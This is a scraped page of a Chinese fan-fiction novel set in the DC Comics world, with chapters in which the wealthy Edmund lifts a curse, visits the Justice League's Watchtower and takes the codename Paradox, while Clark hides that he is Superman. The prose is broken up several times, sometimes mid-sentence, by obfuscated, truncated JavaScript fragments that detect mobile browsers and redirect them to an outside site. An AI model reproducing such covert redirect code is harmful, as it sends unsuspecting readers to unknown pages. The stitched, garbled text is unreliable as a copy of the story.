l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064598|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德蒙可以主动屏蔽不作用于自己身上的超能力或者超科技,不过越强大的超能力能屏蔽的时间越短。除此之外,还存在一种类似于Debuff或者buff的东西,一般以倒计时+弹窗的方式呈现在他的眼前,会提示当前个体受到影响,这个影响在多久之后会爆发,可能造成什么结果,不过弹窗会检测埃德蒙的知识储备,如果是埃德蒙不知道的影响,就只会显示受到影响。 比如说,他刚才就在克拉克的身上看到了弹窗。 “该个体受到OOOO影响,被完全控制倒计时为1407年23天12小时41分55秒”,并且倒计时还在不断下降。虽然理论上说这种影响根本不可能在克拉克的身上发挥作用,但埃德蒙还是忍不住感到恐慌。他不希望克拉克受到任何伤害,哪怕只是可能的伤害,他希望克拉克快点来到他的身边,然后他可以把这种伤害抹消掉。 至于为什么他不亲自坐直升机去找克拉克,也是因为他的金手指——直升机在夜晚其实挺容易出事故的,其他人去还能用超能力保护直升机或者救人,他可能会不小心抵消掉这种超能力。而且坠机之后他不能被魔法拼起来,也不能直接用酒神因子啥的复活,所以他还是别去添这个麻烦了。 克拉克坐着直升机到了岛上,又坐上车从停机坪到了莫蒂默庄园,从小门进去之后走了十多分钟才走到了埃德蒙的房间。他现在其实不困惑为什么有钱人的家那么大,他困惑要是埃德蒙想上厕所怎么办你。他敲了敲房门,埃德蒙立刻打开了房门,然后紧紧抱住了克拉克。 埃德蒙的身高和克拉克差不多,但身形比克拉克要瘦不少,他抱着克拉克的时候就像是抱着一个等身玩具熊。克拉克有些无奈地抚摸着他的头发,轻声说:“怎么了,埃德蒙,突然这样?” “……克拉克,你的身上有被诅咒的痕迹,或者说是被什么东西感染的痕迹,”埃德蒙低声对克拉克说,“我现在已经去除掉了,但我希望你马上回忆你今天见了谁,做了什么,在和我见面之后还来到了什么地方……克拉克,我不是在窥探你的行踪,我只是担心……担心……” 克拉克连忙捧住埃德蒙的脸,那么长时间的相处让他明白埃德蒙到底有多容易焦虑,他也知道埃德蒙的焦虑是有原因的。他马上想到了埃德蒙看到的诅咒是什么,他的表情一瞬间变得僵硬了,然后他说:“我去见了超人,超人说他去了瞭望塔……埃德蒙,我现在联系超人来找你,让他带你去瞭望塔,拜托了!” 埃德蒙点了点头,这没啥好说的,就算克拉克不拜托,他也要想办法帮忙:“但是我的身份不适合被正义联盟知道吧……我身上的麻烦事情还挺多的……” “没关系,”克拉克说,他和埃德蒙接吻,等到埃德蒙的心跳平缓下来之后说,“没关系的,你可以戴个面具。” 23.秘密身份 埃德蒙其实不知道克拉克到底是怎么和超人“保持联系”的。 超人并不是一个秉持着神秘主义原则的超级英雄,只是因为一些特殊原因,他的踪迹确实难以捕捉。绝大部分人只知道他能瞬间飞过全球,只是相较而言更喜欢大都会,仅此而已。让超人真正出现在人类视野之中的便是克拉克。克拉克受到了超人——这神秘的外星来客——的赏识,成为了地球上第一个,也是唯一一个给超人做过专访的人,他也因此声名鹊起。 当然,这也不是在说克拉克之前就没有名声了,事实上在刚入职星球日报不久的时候,他就已经写出了几篇非常出色的报道,只是他的名声总是和一些桃色的绯闻紧密联系。但这也是没办法的,他被包养的事情虽然不算是人尽皆知,但也不难猜到,普通的记者不可能有那么多的人脉,也不会有那么体面的生活。 克拉克其实并不喜欢被别人这样随意的评判,然而这个世界就是这样,他感到不满,所以他需要想方设法的改变这一切,他也只能想方设法的改变这一切。 在超人出现之后,转机也随之出现,不知道为什么超人对克拉克的忍耐力近乎无限,他总是会出现在克拉克的附近,在克拉克遭遇危险的时候保护克拉克,允许克拉克拍摄自己的照片甚至是采访自己,将自己的秘密刊登在报纸之上。也正因如此,许多对超人感兴趣的人也会指定克拉克对自己进行采访,然后发现克拉克出色的专业技巧。 于是克拉克成为了星球日报的台柱子,甚至还在继续当调查记者,日子过得有滋有味有声有色。他通过自己的调查揭露了前市长妄图迁入高污染企业,迫使大都会人搬迁之后收购地产的阴谋,也写下了针砭时弊的文字。他还发表了一本名为《黄太阳之下》的纪实小说,虽然没法拿奖,但也上了年度畅销书的榜单。 当然,桃色新闻之所以是桃色新闻,就代表它的受众非常的广泛,不知道什么时候起,在各种网站上流传起了超人和克拉克的流言蜚语——大家对此喜闻乐见,甚至同样登上了同人网站的top 50热门榜单。许多人一边猜想着超人和克拉克的关系,一边狠狠的用文字和图画挥洒着想象力。 必须要说明的是,知道克拉克被包养,或者能猜测到克拉克被包养的,一般是圈内人,而圈内人是少数,他们一般也不怎么搞同人,而超人和克拉克的浪漫关系是大家都能见到的。超人接受克拉克的专访,超人时刻保护克拉克,超人对克拉克可谓是言听计从,超人甚至还帮克拉克带货小说……克拉克更是容貌俊美身材凹凸有致,只是看着就让人觉得是一种享受…… 总之,在这个世界上有许多人觉得超人对克拉克抱有恋爱方面的兴趣,而且这还挺正常的。 克拉克其实还挺担心埃德蒙会生气的,毕竟埃德蒙才是先来的,他从十八岁开始包养克拉克,而克拉克只用了一年就彻底放弃去计算埃德蒙到底给了自己多少钱。不管从情感角度,还是专业素养角度,克拉克都觉得自己应该对埃德蒙负责。但他在对埃德蒙小心翼翼地提到超人,并且做好了准备,要是埃德蒙真的在意他和超人的“亲密关系”他就当场脱马甲的时候…… 埃德蒙表示,超人很好,超人非常好,但是克拉克你也很好,超人照顾你是因为你值得,不用担心我会因为浅薄的嫉妒心干扰你和超人之间的关系,我相信你能把握好交往的度,当然要是你更喜欢超人也没关系,只要你给我一个打钱的账号,然后让我知道你还活着,还被宠爱就好了。 克拉克对埃德蒙这种生命厨没有任何办法,而且说实话,他其实也有点闹别扭——不是说你们这些阔佬应该充满独占欲,只要想到我可能会被别人触碰就要好好囚禁我,蹂躏我,让我下不来床吗,你这种“我会连你的小三一起照顾”的态度又是怎么回事啊!而那时候,克拉克还年轻,所以他就继续瞒着埃德蒙,不告诉埃德蒙自己就是超人。 不过也有可能是他瞒着埃德蒙的时间太久了,现在他不仅没打算立刻坦白,还觉得在埃德蒙的面前一人二役分饰俩角,表演一个超人也对埃德蒙感兴趣所以疯狂勾引埃德蒙非常有趣。在外表现得好像超人非常喜欢克拉克也非常有趣。另外他还可以兴致勃勃的继续做他的Sugar baby,被埃德蒙继续包养。 对此,另一个同样在大卖水仙的超级英雄表示差不多得了,没眼看,我卖cp是因为我单身,你呢? 克拉克其实也不是很清楚自己应该怎么做,但反正这件事就这么发展了,多说什么也没有意义。 埃德蒙的思维其实很简单,一直以来他都担心克拉克会因为他和他的家族的原因受到影响,对克拉克感兴趣的,“圈子里”的人其实不少。克拉克本来就是个美人,在被埃德蒙包养之后更是表现出了格外的妩媚和丰腴,看着克拉克食指大动的人不在少数。埃德蒙不会希望自己的独占给克拉克带来危险,超人愿意照顾克拉克是再好不过的事情了。 听到克拉克要联系超人,埃德蒙第一时间就认为自己有必要给克拉克安排一个客房防止克拉克联系超人的手段暴露,也防止超人的行迹受到影响。克拉克的内心充满着吐槽的欲望,不过要说他不感动也是骗人的。他和埃德蒙交换了一个濡湿的亲吻,然后去了埃德蒙为他安排的客房,他在那里迅速飞出去更换了超人的衣服,又迅速飞到了埃德蒙的房间。 他常用的那套制服还在洗衣机里,所以他换了一套更贴身的,有时候他和埃德蒙上床也会穿超人的制服,毕竟“超人不介意”,这就是他们穿过的制服,布料延展性极佳,可以整个被拉长到一种极强的地步。不过克拉克觉得埃德蒙八成看不出两套制服有什么区别,埃德蒙就是这么呆呆的。 但其实埃德蒙看出来了,他就是不好意思对超人说,他只是维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066617|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持着一贯的,彬彬有礼的态度看向超人:“超人先生,我想克拉克应该已经对你说清楚我请你来的目的了吧?” “是的,”超人用着温柔的语气说,他向着埃德蒙靠近了一步,“您是一位出色的,有着完美的正义感的人,先生。” 埃德蒙有些不适应地后退了一点,超人穿着的这身衣服稍微激活了他的一些美好的回忆,在回忆里不可避免的有着濡湿的,叫得很大声的克拉克……而且说句实话,超人这样靠得太近了,甚至还微微飘浮起来,对着埃德蒙有些高打低的,微妙的压迫感。埃德蒙觉得这挺奇怪的,超人越来越奇怪了。 “或许您愿意到瞭望塔来一趟,”超人继续用着柔媚到有点诡异的语气说,“在来到这里之前,我确实遇上了一些反常的事情,我去了瞭望塔,然后和克拉克见面,我想或许我的同僚们也染上了同样的诅咒。如果可以,我希望您能够帮我,还有我的同僚们解除这个诅咒。” 埃德蒙点了点头,然后他说:“我明白,超人先生,但我想你现在靠得太近了,我不习惯和人那么亲近。” “和克拉克你也是这么说的吗?”超人脱口而出,说完这句话之后,他笑了起来,“请不用担心,埃德蒙先生,另外,能烦请您握住我的手吗?去瞭望塔可不是那么简单的事情,毕竟它在宇宙之中,为的就是不与任何人类社会的国家产生过于亲密的联系,还使用了特殊的魔法,除了被允许的人之外,没人能够进入瞭望塔……” 埃德蒙长出一口气,他尝试告诉自己超人是外星人,所以不是很懂和人类之间沟通的距离——这也是克拉克告诉他的,克拉克担心他会因为超人吃醋。然后他点了点头,回答:“稍等,我戴一个面具,虽然这也没什么真正的作用,但,就像是你说的,为了防止正义联盟和某人之间产生过于紧密的联系。” 超人又轻笑了一声,其实克拉克想说“又不是没有紧密联系过”,但为了超人的形象,他还是选择了闭嘴。他看着埃德蒙拿出一个精致的万圣节假面,用黄金、宝石和孔雀的翎毛装饰着,让埃德蒙的眼睛看起来更加耀眼,他决定下次让埃德蒙戴着面具抱他。然后他握住了埃德蒙的手,搂住了埃德蒙的腰,用生物力场裹住两人,向着天上飞去。 埃德蒙的金手指倒是弹出来问埃德蒙要不要抹消掉生物力场,哪怕是几秒钟,但埃德蒙表示自己又不是傻。生物力场是防止他坠落、缺氧、冻死的关键,他怎么能抹消掉这个。于是他继续被超人半搂着,向着宇宙飞去。 一切都很新奇,尤其是极速上升,掠过云彩,看到电离层的光辉和摩擦着生物力场发出的极光的感觉,然后才是黑色的宇宙。埃德蒙低下头,看着地球,因为辽阔的场景而惊叹。 超人笑了,他说:“如果您下次想看,我还会带您来的,埃德蒙先生,不过您最好快点给自己想个代号,新顾问先生。” 24.代号为悖论 这是埃德蒙人生中第一次踏足名为“瞭望塔”的超级英雄据点。 虽说名为“塔”,但从外面看,它只是一座小型空间站,不过普通的公寓大小,正安静地悬浮在近地轨道上,无数人造卫星在它的身边飞过,还包括细碎的太空垃圾。似乎是注意到了埃德蒙的视线,超人微笑着收紧了手臂,然后说:“正义联盟会定期清理轨道上的太空垃圾,以保证近地轨道的安全。” 埃德蒙愣了一下,然后说:“其实没必要跟我解释这个,我不是正义联盟的出资人,也无权对正义联盟的行事风格置喙,不过我相信对于正义联盟而言,总是能够做出最正确的决定的,你们是保护整个地球,为人类带来安定生活的超级英雄公益性组织。” “请不要说那么多官话套话,埃德蒙先生,”超人笑着说,“不然我恐怕要考虑把您丢下去了。为您解释是我的荣幸,另外,正义联盟有义务为一切质疑提供解释。最重要的是,为什么您就不能成为正义联盟的出资人呢?请把钱打到联合国的指定账户,先生,正义联盟会为您的慷慨解囊表示感谢的,正义联盟的主席当然也会。” 埃德蒙被他噎了一下,他不给正义联盟出资当然不是因为他不想为正义联盟花钱,也不是因为家里人不让,实际上莫蒂默家族很希望能够和正义联盟扯上一点关系。即使说着什么其实武力不能代表一切,但这个世界上武力的作用依旧是永恒的,斗争最重要的一步就是□□上毁灭敌人。武力不重要,只是没有武力的人安慰自己的说辞罢了。 莫蒂默家族希望和正义联盟扯上关系,这样就有权利,或者说有机会让正义联盟协助莫蒂默家族了。哪怕正义联盟不会为莫蒂默家族做事,“正义联盟出资人所在的家族”也会成为对无数年轻的超能力者的感召。他们会为了更接近正义联盟而选择效忠莫蒂默家族,甚至这样持续下去,莫蒂默家族会有机会控制正义联盟的成员选举。 不过幸好,正义联盟知道接受这些大家族捐助可能存在的问题,因此正义联盟走的是联合国的账,即使是私人捐赠也必须先给联合国进行捐助,然后备注希望款项优先用在正义联盟相关的事务上。考虑到这些年联合国的存在感和路边的一条野狗相差无几,正义联盟是唯一可以让联合国挺胸抬头的东西,故而联合国拨款一直都是优先正义联盟的。 就算是布鲁斯,要给正义联盟捐款也需要做账,至少要保证账目方面没有任何问题,他不能用私人名义开这个口子。另外他的蝙蝠侠事业也用掉了大量的钱,如果再让股东看到那么大的资金缺口,布鲁斯甚至怀疑股东会嗷嗷叫着过来和他同归于尽。韦恩集团的财务也是压力极大的职位,正常财务只要做内外账,韦恩集团的财务要做四五种账。 现在韦恩集团的财务还没有成为超级反派,可能是因为布鲁斯给他们开的工资真的很高,已经高到不想黑化了。 埃德蒙忍不住提醒超人不要说这种话,和莫蒂默家族扯上关系不是什么好事,埃德蒙也不是莫蒂默家族真正意义上的实权人物。要是正义联盟摆明车马接受莫蒂默家族的注资,最后必然会被莫蒂默家族控制,从此以后不复正义之名。超人轻笑了一声,对埃德蒙说:“您可以认为我只是在开玩笑,埃德蒙先生——但如果某天,莫蒂默家族完全属于您,那我以主席的身份欢迎您的注资。” 埃德蒙点了点头,他还真不想夺权,他知道自己没那个经营的脑子,他上位之后唯一的结局就是带大家一起破产。见状,超人也没就这方面继续说下去,他换了个话题:“那么,新顾问先生,您想好您的代号了吗?这关系到我们要怎么称呼您。” “悖论,”埃德蒙回答,“如果这是必须的话,你们可以这样称呼我。” 悖论,他还是实习的医学生的时候,以这个代号在哥谭的不少黑诊所当过兼职外科医生,那时候他甚至还得踩在箱子上才能够到病床。意外也毫不意外的是,那些有门路找到好些的黑诊所的帮派分子们对埃德蒙有着十分的敬重——他们不是蠢货,知道一个未成年,有高超的医术,还能到诊所实习,背后没有势力的可能性几乎是零,而且运气好点的人还能看到埃德蒙的保镖。 超人笑了一声,他带着埃德蒙走进了瞭望塔:“好吧,悖论先生,真是个不错的代号,那么,欢迎来到瞭望塔。” 瞭望塔的内部看起来比外部大了不少,埃德蒙大概可以猜出这是用了什么魔法,或者空间折叠技术,一些家族也会给自己的别墅运用上类似的技术,不过那些家族的别墅并没有瞭望塔这样的……广阔。埃德蒙甚至觉得自己不是来到了一个空间站,而是来到了一艘巨大的豪华游轮……泰坦尼克号之类的,不过瞭望塔应该不至于坠落或者下沉……吧? 在带着埃德蒙来瞭望塔之前,超人已经和正义联盟的人联络过了,不过他只是说他怀疑样本的上面带着某种诅咒,这种诅咒没有被他完全隔绝或者处理好,现在在正义联盟的内部传播。因此在埃德蒙到来的时候,并没有人表示异议,目前在瞭望塔值班的人和与超人接触过的人都等在这里。埃德蒙看着每个人的身上都有一个倒计时,他的眼前一黑。 “超人,”他说,“你到底还接触了多少人啊,你该庆幸这个感染不会马上爆发……最短的倒计时也有一个月。你们到底是惹上了什么东西?” 超人笑了一下,眼神微微漂移了开来,他也没想到有这回事啊,但他很快就反应了过来:“你是说倒计时最短也有一个月吗?” 埃德蒙点了点头,他没必要在这个时候说谎,也不需要把情况渲染得过于危急,但埃德蒙发现超人和其他超级英雄交换了眼神,似乎埃德蒙说的东西里存在与他们当前的认知并不完全匹配的东西。埃德蒙也不管这个,他给这些超级英雄们一个个解除身上的倒计时,然后才继续开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069345|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“我希望能够到超人经过的地方去检查,是否还有诅咒残留。” “当然可以,”超人说,他看起来像是要去拉埃德蒙的手,又因为被蝙蝠侠不赞同的目光盯着,有些悻悻地收回了手,“那么,请给我来,悖论先生。” “悖论?”在埃德蒙跟着超人离开的时候,闪电侠低声问,“我觉得以前好像听同事们提到过这个代号,他也是个医生?” “也许是,也许不是,”蝙蝠侠回答,他觉得没眼看,这日子没法过了,“现在专注自己,爆发的时间对不上,说明传染在更早之前就开始了,和那个陨石无关。” “也就是说传染有蔓延开去的可能性,甚至可能早就蔓延了?”钢骨问,他暂时没有继续留在检测的机器边上,而是来这里接受检查,“既然如此,是否有必要让悖论先生也去加拿大巡逻检查?如果可以的话,直接找到传染源断绝传染?” “没那么方便,”蝙蝠侠回答,“要是可以,超人早就把他带过去了。” 虽然在面对埃德蒙的时候,超人表现得好像是个精力充沛的恋爱脑,但实际上超人的思考还是非常严谨认真的,埃德蒙的超能力应该不足以直接顺藤摸瓜到找到事情的起源,否则超人应该早就让埃德蒙负责加班了。想到这里,蝙蝠侠还是忍不住在心里叹了口气。 天知道超人私下里到底说了多少次他想把埃德蒙带到瞭望塔上,这样他们可以一边看着地球一边在落地窗前♂♂……现在看来,超人距离如愿以偿不远了。 蝙蝠侠想要不辞职算了,世界上人那么多,为什么一定要是他天天上班,上完这个班上那个班,累得和死狗一样还得带孩子,还没有性生活,还得听有性生活的同事炫耀自己“被抱起来夯,一晚上去了十七次”。蝙蝠侠觉得自己还没黑化一定是因为自己的人品太好了,多元宇宙哪个蝙蝠侠有他那么倒霉。 埃德蒙跟着超人,他们经过走廊,来到了巨大的落地窗前,从那里可以更清晰地看到地球,埃德蒙看着地球,惊叹于星球的壮观和美好,超人飘浮在他的身边,对他说:“很美,对吗?悖论先生?正是因为这样的美丽,让我认为保护这颗星球具有无法用言语描绘的价值。” 这么说着,他偷偷夹了一下腿。 “我在路上没有看到诅咒或者病毒的痕迹,超人先生,”埃德蒙不知道超人的小动作,他只是认真检查着地面和四周,“或许是因为那种东西只能影响到活物。” 他们很快就到了检测仪器附近,红色的胶质正在不断蠕动咆哮,却不肯相融。埃德蒙微微皱眉,他对这些东西的了解其实不深,但他能看到上面的一些标签:“它们……不是那种诅咒,或者说传染的源头,超人先生,它们也是被感染的某种生物。” 超人有些惊讶地挑眉,然后他问埃德蒙:“可以解除感染吗?只解除一只?” 埃德蒙点了点头。 25.外星生物 超人死死盯着埃德蒙的手,看着他将手指点在分析仪上,解除了其中一只红色胶体状生物受到的控制。很快,它就不再进行那种无规律的,狂暴的运动了,超人从它的运动之中察觉到了一种莫名的理性,似乎拿并不是什么危险的存在,而是确实可以沟通的智慧生物。 但为了保护埃德蒙,他还是小心翼翼的将埃德蒙保护在自己的身后,尝试和那个生物进行沟通。在改变了多种沟通方式之后,超人大概确信这种生物沟通依靠的是动作和形变,于是他将那个生物暂时放出来,拿在手里尝试着相互交流。埃德蒙看着超人,目前超人的身上并没有跳出什么莫名其妙的弹窗或者倒计时,这或许可以证明至少此刻超人没有遇到危险。 埃德蒙倒是不怕这玩意,反正它是很明显的超自然生物,对自己无法造成伤害,他只是担心超人,超人对克拉克很好,埃德蒙喜欢一切善待克拉克的人。 “它是来自另一个星球的生物,”超人说,他的表情有点奇怪,“说是在地球接到了自己的同族的求救信号,所以过来援救自己的族人,但在飞船刚到达地球之后没多久就完全失去了意识,也不知道在自己的身上发生了什么事,另外它也感觉不到自己的飞船在哪里了。它同样不确定自己到底在地球上存活了多久。” 这种生物自称为沃伦,在它们的星球上和一种名为塔克的生物共生,沃伦具有较高的智力,身体天生可以储存营养以及氧气,但身体非常脆弱,高温、低温、干旱、潮湿都有可能让沃伦丧命。而塔克是一种身体强壮,智力较低的生物,在出生之后不久,塔克全身的血液就会干涸,只有让沃伦钻进自己的体内才能继续存活。 总之,除了部分沃伦可以利用特殊的金属制造甲壳之外,绝大部分沃伦都和塔克共生,两者之间维持着平衡。 而这一队沃伦就是特殊的沃伦,来这个星球营救自己的同类的。超人点点头,又问它怎么称呼,需要暂时住在什么样的环境里,吃些什么东西……那个沃伦一一作答,然后问超人能不能解除它的同伴身上的控制。 超人沉默了一会儿,然后摇了摇头,他模仿着沃伦的交流方式,说解除这种控制需要他们消耗很大的能量,因此只能暂时帮助一个,不过超人相信,很快他们就能解决掉这一切了。那个沃伦看起来像是松了口气,对超人表示了感谢。在那只沃伦的感谢之中,超人将它放在了恒温恒湿的保护箱之内,和埃德蒙一起离开了检测室。 “我不是很明白,”听完超人的读书之后,闪电侠微微皱了皱眉,“悖论解除这种……诅咒似乎并不困难,为什么我们要说没法帮它的同伴解除诅咒,还要将它软禁在瞭望塔呢?难道是有什么别的原因?还是说解除诅咒对悖论来说确实有难度?” “因为这家伙在说谎,”超人平静地说,他将视线落在同样困惑的钢骨,和若有所思的蝙蝠侠的脸上,然后又看向了闪电侠,“虽然不能说这家伙嘴里没有一句实话,但它确实说谎了,而且还不是那种善意的谎言。我一直都在检测它的生理反应,虽然我还是第一次见到这种生物,但我最后问的几个问题,它在回答的时候,生物电的水平和流转方式有明显的不同。” “如果它没有在自己需要的空间上撒谎,那说明它在自己来到地球的目的上撒谎了。” 闪电侠若有所思地点了点头,他可以理解这一点,无论是人类还是外星生物,他们的身体运转都需要依赖一套自洽的逻辑,如果说那个种族为沃伦的生物回答问题A和问题B的时候,生理反应出现了矛盾,就说明AB两个问题的答案必有一个为假。而已知正常生物不会让自己处于不利环境,也即回答问题B的时候说的是实话,那么问题A的答案就是假话。 至于问题A回答为真,B回答为假的可能性确实也存在,但沃伦没有理由让自己处于不利环境,毕竟现在它的生命就系于超人的手中,又不是说它能靠这个反攻超人。 “当然,我相信悖论应该也知道这点,对吧?”然后超人突然提到了埃德蒙,埃德蒙愣了一下,他以为这里没有自己的事——不是说顾问是蝙蝠侠吗?让蝙蝠侠解释不就好了?而当他看向蝙蝠侠的时候,他从蝙蝠侠的姿势里看出了一种莫名的舒展……和“哈哈老子不伺候了”的轻快,埃德蒙不是很理解,但他知道超人的眼神是在鼓励他说下去。 “我依靠逻辑做出了判断,”埃德蒙轻声说,他略带沙哑的声音在瞭望塔的会议室中萦绕,“该从何说起呢……首先,沃伦和塔克的共生关系这一点本身非常值得怀疑,因为从沃伦的叙述之中,它对名为塔克的种族非常轻蔑——毕竟,它提到了如何让沃伦摆脱塔克,但从来没有提到沃伦是否设计让塔克能够在没有沃伦寄生的情况下活下来。” “那么,在沃伦对塔克轻蔑,且确实存在沃伦摆脱塔克,正常生活的情况下,它们又为什么还要继续和塔克共生呢?最大的可能是,它们的条件不足以给每个沃伦都配备一个金属身躯。特殊的沃伦可以摆脱它们眼里低贱的塔克,但许多沃伦还得被困在塔克的身躯里,为了维系社会的稳定……或者哪怕是为了保护自己和自己的后代的地位,它们要怎么做呢?” “去找给沃伦配备金属身躯的方法,包括找到富矿行星,或者找到更好的身体。” “而让我怀疑最盛的是,沃伦根本没说自己为什么能定位到地球,只靠族人的呼救?那它最初的族人是怎么到地球的?虽然总有传言说人类在地下用烟头烫外星人的屁股,但事实上人类目前无法飞到其他星球去捕获外星人。”要是可以的话现在莫蒂默家里应该也有不少外星奴隶了,埃德蒙在心里偷偷吐槽。 在听到“拿烟头烫外星人的屁股”的时候,超人偷偷舔了舔自己的小虎牙,在心里抱怨埃德蒙光说不做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071727|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后他清了清嗓子,平静地开口:“我也是这样认为的,这个沃伦不可轻信,满嘴谎话,但接下来我们确实要找到一些其他的证据。沃伦来地球不怀好意,并不代表在地球上造成这一切的就是好人了。” 蝙蝠侠点了点头,没有多说什么,埃德蒙的解释非常到位,他没什么需要补充的,就是如果可以他希望埃德蒙不要拿外星人的屁股来打比方,他会有些应激,都是某些外星人的错。 “那么,我送悖论回去了,”超人在确定大家都没什么疑问了之后才说,“有什么细节我们还可以明天再聊。” 埃德蒙又被超人抱着,放回了自己的房间,准确地说,是放在他的房间的阳台上,超人坐在窗棂上摇晃着双腿,穿着小红靴的腿绷紧,用脚尖去轻轻触碰埃德蒙的腰:“怎么样,悖论顾问,要不要正式加入正义联盟?说不定我还能给你定做一套漂亮的新制服什么的。” 埃德蒙微微扭过头去,他看着门外,他非常想念克拉克:“不了……还有,超人,我希望你下次和克拉克接触的时候,能更小心一点。你是强大的外星人,诅咒或者感染无法对你产生影响,但克拉克不是,克拉克只是一个地球人。他并不柔弱,但他和你相比依旧是脆弱的。许多让你不屑一顾的东西,很有可能会给克拉克带来危险。” 说到这里,他深吸一口气:“就像是这个感染或者诅咒什么的,你作为直接接触诅咒的当事人并未受到影响,但是克拉克却被诅咒了……这一次还好,诅咒爆发需要很长时间,但万一下一次对克拉克来说是致命的呢?那又要怎么办?我说这个不是为了责备你,超人,我只是……克拉克对我来说很重要,他是此世仅有的珍宝,他是我的生命,我的一切……” “我只是希望,你可以更加珍惜克拉克……” 超人沉默地看着埃德蒙,然后他跳下窗棂,握住埃德蒙的手,他可以嗅到夜风中传来的清香,在哥谭的其他地方根本没有这样的香气:“放心吧,埃德蒙先生,我明白您对克拉克的珍爱,我会像是珍惜我的生命一般珍惜克拉克……好了,他或许在等你已经等急了,快去找他吧!” 埃德蒙点了点头,超人看着他走进房间,自己也迅速消失了。 克拉克用亚光速换好衣服进入客房然后呲溜一下钻进被窝里装睡,装睡的时候还嘿嘿偷笑了两声——埃德蒙好爱我哦,他好可爱。然后他等到了埃德蒙走进客房,听着他的呼吸声,然后安静地躺在他的身边。埃德蒙将鼻尖轻柔地落在克拉克的后颈上,但并没有做出任何会被人认为冒犯的动作。 哎不对啊这!本子里不是这么写的!你应该邪魅一笑,说什么“你这个磨人的小妖精”,然后直接进来把我弄醒才对!为什么你只是抱着我睡觉啊! 克拉克在心里抱怨了一声,就被埃德蒙抱着睡着了。 哎,算了,睡觉也挺好的。 26.阶梯 埃德蒙缓缓地睁开了双眼。 克拉克柔软而温暖的,富有肉感的身体正与他紧紧贴合,他甚至觉得自己的手臂完全陷入了克拉克的胸肌当中。克拉克将自己的一条大腿搭在了埃德蒙的腰上,埃德蒙可以感觉到那种令人安心的重量。于是他抚摸着克拉克的腰,低声在克拉克的耳边说:“抱歉,克拉克,昨天晚上遇到了一些突发事件……你被吓到了吧?实在抱歉,我不该这么着急的,下次不会了……” 克拉克哼哼唧唧地睁开眼睛看着埃德蒙,他有些生气地瞪了埃德蒙一下,然后才开口:“讨厌死了,一早上说这个,我还以为你要对着做什么快乐的事情呢,结果就是道歉啊,没情调的家伙,怪不得网上有人说你未老先衰……算了,我建议你下次就这样叫我起床,好好看好好学。” 说着,他一个翻身,用大腿夹着埃德蒙的腰改变了两人的姿势,原本侧躺的埃德蒙变成了平躺,而克拉克骑在埃德蒙的腰间,手指沿着他的嘴唇一路向下:“明白吗?霸道总裁要这样,一早上用你炽热的爱意把我唤醒,然后和我接吻。”他低下头去,将自己的嘴唇覆盖在埃德蒙的唇瓣上,舌尖描摹着埃德蒙的唇形,腰也一下一下地摆动着。 于是埃德蒙按住了克拉克的后脑,身体力行地听从克拉克的教诲和他接吻,直到克拉克的眼神迷离,身体软化下来才终于停止。克拉克用大拇指抹去嘴角的津液,脸上带着恍惚的笑容:“这样才对嘛,真乖真乖……哎,去洗漱吧,然后你又要上班了,是不是?连自己的金丝雀都没法喂饱,还有钱人呢……下次我要去你的办公室,看看你还能不能继续假正经。” 埃德蒙拍拍他的大腿,换来克拉克的又一个毫无怒意的,有些娇嗔的瞪视之后才开口:“其实,我今天和医院,还有GCPD都请假了,毕竟你还是第一次真正来莫蒂默庄园。我记得你今天也不当班,对吧?实在不行,我给你请个假,怎么样?” “是啊,我不当班——”克拉克拖长了声音,又低下头去拿鼻尖蹭埃德蒙的鼻尖,“毕竟我不缺钱,等老了之后还有你继续养我一辈子,这种加班的机会就让给其他同事好了……不过说真的,我还真不知道,你们家居然有一座岛?而且你们的祖宅还在这座岛上?我的天呐,我的Sugar daddy到底得多有钱啊!” “其实莫蒂默家族所有的岛屿不止一座,”埃德蒙说,他也和克拉克蹭着鼻尖,“只是这一座比较靠近哥谭,就用它来当家族的主要居所了。这座岛最大的好处就是足够平整,不需要浪费太多时间去整理和改建就能直接居住,如果有机会,我也想带你去我个人名下的那座岛上……只不过那里可能比较荒芜。” 克拉克哇哦了一声,继续骑在有钱人的身上作威作福:“我想要个私人动物园,我要在家里摸企鹅。” “好,买。”埃德蒙眼都不眨地说。 “还是算了,”克拉克说,“还是让企鹅在自己的原生地安安静静地生活吧,但我要去南极看企鹅,等你有空了我们一起去看。” “好,看。”埃德蒙眼都不眨地说。 